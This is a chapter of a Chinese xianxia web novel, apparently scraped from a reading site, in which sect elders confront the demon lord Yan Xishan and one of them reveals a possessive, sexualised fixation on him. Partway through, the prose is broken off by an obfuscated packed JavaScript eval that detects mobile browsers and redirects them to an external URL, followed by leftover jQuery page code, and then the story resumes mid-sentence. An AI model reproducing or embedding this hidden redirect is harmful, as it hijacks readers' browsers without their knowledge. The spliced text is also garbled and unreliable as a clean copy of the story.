从地牢中出来的弟子们已经换好了仙山弟子服,月白的长袍边缘绣着金色的符文,微风吹来,一派仙家风范。
不可计数的仙山弟子身着此袍,自各方云集,直到形成一片与魔界格格不入的雪白之云,唯有旁边一人格格不入。
有弟子从中走出,向盘坐在旁边的人恭敬道:“仙山弟子集结完毕,请何长老指示。”
何良平没有回答那弟子的话,他只是如同一尊雕像般不停地擦拭手中剑,那柄剑如同何良平这个人一般朴实无华,若不是他身上与其他弟子有别的长老服,只怕是真的泯然众人矣。
良久,在那弟子几乎都要放弃时,何良平幽然说道:“没想到有朝一日,我要与你们这些蠢材同行。”
那弟子也不恼,毕竟谁都知道这位何长老是个不折不扣的剑痴,不仅对自己极为苛刻,对其他人也是一视同仁。
如果在剑道上毫无建树就会被他视为无物,不配与他言说;而如果在剑道上少有成就的,在他眼里也只如脚下尘土,勉强够他看一眼。
唯有真正的剑道天才才能进入他的眼睛,与之谈话几句。
仙山长老何良平前半生平平无奇,直到一日有魔族元婴潜入仙山,何良平一剑灭之,从此名震天下,仙山曾有意授予他剑主之位,但何良平没有答应,反而要了剑主侍奉的位子,常年在剑山之中磨剑,一如从前。
就像没有人能看了何良平的剑不动容的,那样磅礴的、与天齐平的剑意令每一个看过的人都心悦诚服,没有人能理解何良平为何不肯接受剑主之位。
无数剑修曾前来仙山挑战何良平,但无一例外败于何良平剑下,他们都认为天下不会再有比何良平在剑道上更精深的人了,于是不停劝何良平接任剑主。
但何良平说了一句话让他们全都放弃劝说:
“我曾见过更加绚丽、磅礴的剑意,你们见到的却是我终其一生模仿的。”
如今的何良平望着那高耸入云的魔宫,眼神幽深,周身威压不自觉泄出,弟子不禁打了一个寒颤,更加谦卑地说道:“请长老指示。”
何良平不甚在意地说道:“我不知道仙山为什么选你们这些金丹初期的弟子入魔界,但作为长老,我还是希望你们能够跟随我回去的。”
“毕竟,那可是刀剑双绝燕溪山啊。”
魔尊漆黑的眼眸望向声源处,铺天盖地的杀意生生将为首的黑衣人掀飞出去,跟在他后面的仙山弟子也因为如天般的杀意僵在了原地,仔细听着还能听到弟子身上骨头滋滋作响的声音。
“有趣,”燕溪山闭上眼,化神初期的修为在这一刻尽显无余,“居然能这么容易的进来,看来本尊身边出了不少白眼狼。”
随着燕溪山一步步走向他们,魔尊服饰一一归位,将燕溪山身上那些不甚明显的痕迹全部掩埋,只留下高高在上的魔尊。
燕溪山冷峻的脸上再没有一丝温度,他扫过干涸的净池,眸色深沉,不仅是魔宫内的守卫,还是本该死守魔宫的乌长老都没有向他穿过一丝一毫的信息,就足以说明现在的局势不妙。
但燕溪山望着熟悉的弟子服饰,扫过萎缩起来的阴影,缓缓说道:“你们如今已经这般看轻我了吗?”
长刀划过地面,争鸣之声淹没了火花溅起的声音,燕溪山目光所及之处无人敢抬头见他,他也不曾低头去看那些弟子,却也没有动用刀意屠戮。
除却这些白衣弟子,魔宫内再无其他,魔焰燃烧得越发猛烈,炽烈的温度好像要把一切烧掉,燕溪山挑起一段烧焦的紫纱,刀尖指地,眸中闪过一抹暗沉的金色。
“竟是如此,”燕溪山叹息着,眼中冰冷如霜,薄唇张开,吐出一段满含杀意的话,“看来我不能放过你们了。”
“就地自裁吧。”
仙山弟子满脸悲愤地举起手中刀剑,颤抖着手臂缓缓指向自己的脖子。
“燕师弟,何必为难这些弟子呢?”一位化神中期的长老站了出来,抬手解去燕溪山束缚在那些弟子身上的杀意。
“蒲泉师兄,别来无恙,”燕溪山微微颔首,那张冷峻的脸上有些许不解,“不过三百年,仙山也要与那种腌臜货色为伍了吗?”
蒲泉长老看着站在最上面的魔尊,还礼道:“非我仙山所为,乃是师弟你宫中之人。”
“是么,我还以为连仙山也不要脸了。”燕溪山咽下喉咙中涌上来的鲜血,确认所有弟子的影子中都没有任何异常后,才不再动用杀意。
燕溪山勾起凉薄的笑容道:“谢过师兄告知叛徒之事,师弟必将约束魔族中人,所以请师兄带着这些弟子回去吧。”
所有弟子都等待着蒲泉长老回答,而蒲泉本人再度看到燕溪山却是恍惚不已,他记忆里十八岁名扬天下的天才师弟如今修为才不过化神初期,要知道当年燕溪山可是最有希望进入渡劫期的修士啊!
简直是在魔界蹉跎岁月!
蒲泉镇定心神,不紧不慢开口道:“我自会带他们离开,但更希望带上师弟你。”
“毕竟仙山诸位长老、三大仙门、九大宗派都等着师弟你回去认罪,还望师弟不要为难我等。”
燕溪山道:“不可能,除非蒲泉师兄不顾这些弟子要与我做过一场。”
“那就得罪燕师弟了。”蒲泉话音刚落,身后在走出一人,正是背着剑的何良平,而那些弟子此时也已结成阵法。
“两位化神中期的长老,仙山还真是看得起我。”燕溪山无奈笑道,春水惊鸿般的笑意不知恍惚了多少人的心。
蒲泉飞到阵法中央,迅速结印,水蓝色的法力勾连所有弟子的气息,形成了一个威震修仙界的阵法——玄光囚灵阵!
该阵法不仅可以镇压敌人肉身,还可以禁锢神魂,将敌人的战力削弱到最低级别,却只需要高阶修为的主阵人和一群配合紧密的低阶修士,是以弱胜强的不二之选。
燕溪山无暇看着他们结成阵法,目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207072|165775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对准朝自己走来的何良平,他看着何良平一步一步走上来,看向燕溪山的眼神虔诚无比,仿佛他走向的不是魔尊,而是神佛。
“何师弟,没想到竟然是你。”燕溪山竟然真的生出了点世事无常的感觉,毕竟何良平曾经是个寡言沉默的外门弟子,和燕溪山少有的交集还是燕溪山去外门授课的缘分。
当年的何良平如同最不起眼的影子般坐在最后一排,从不发言,直到燕溪山授课完毕离开途中突然拦住他,求燕溪山教他剑法。
何良平呆呆地抬起头,眼前人俊美绝伦,不似从前身着月白色弟子服那般清逸出尘,叫人如见天上月般不敢唐突他,如今玄色的魔尊服饰大胆狂野,直至腰身才闭合的领口,毫无顾忌地展示着魔尊小麦色的肌肤,何良平自敢从紧实分明的腹肌一点点向上看,露出的半个饱满□□的胸肌如同色泽鲜艳诱人的苹果,明晃晃地引诱人捧起。
比曾经更丰满了,透着彻底熟透了的味道,无声的诉说着欲望。
“燕师兄,”何良平没有收敛厌恶又渴望的眼神,随手布下禁音结界,直白地说道,“你真放荡啊。”
燕溪山皱起眉,“你在说什么?”
“你怎么能让那些低贱的魔种玷污呢?”何良平拔剑,目光如狼,“仙主不会要一个与魔种媾和的道侣,燕师兄,你们没有可能了。”
“不如,跟了我吧,燕溪山,我能为你背弃仙山,从此做一对野鸳鸯。”
何良平等这一刻很久了,久到他以为自己不可能拥有这轮明月,却没有想到明月堕入尘世,沾染上了黑泥,到了他触手可及的地步。
也不枉他在仙主面前装了这么久。
“胡言乱语!你若要拔剑不必逞口舌之快!”燕溪山厌恶地用刀挡住何良平的视线,毕竟他从来没有料到昔年仰慕自己剑法的少年,如今竟然口不择言,试图用这些话激怒自己。
在世人眼里,何良平一心向剑,是绝对不会动情的剑修,但只有何良平自己知道他目的不纯。
“燕溪山,我如今已是化神中期了,”何良平仔细看着燕溪山骨肉匀称的手,“而你如今修为不及我,更是不再用剑,这单一的刀意能够让你越级而战吗?”
“不必多少说,你我今日手下见真章!”燕溪山顶着不断扩张的玄光囚灵阵,决定在阵法彻底禁锢自己之前解决何良平。
燕溪山握着长刀的手猛然刺向何良平的脸,何良平向后退了几步,可刀意锋利,在他侧脸留下渗血的伤口。
退后的何良平望向燕溪山,手背擦去快要流下来的血迹,不可抹去的刺痛感越发强烈,连他的手背都有种被刺伤的错觉。
“请燕师兄赐教!”何良平被彻底点燃了战意,那轮少年时不可得的明月,如今依然高悬天宇,但他已经不是那个连看都不敢看的外门弟子了,现在的他也有了手摘明月的能力了!
燕溪山冷冷道:“还谈不上赐教,只希望何师弟别再胡言乱语了!”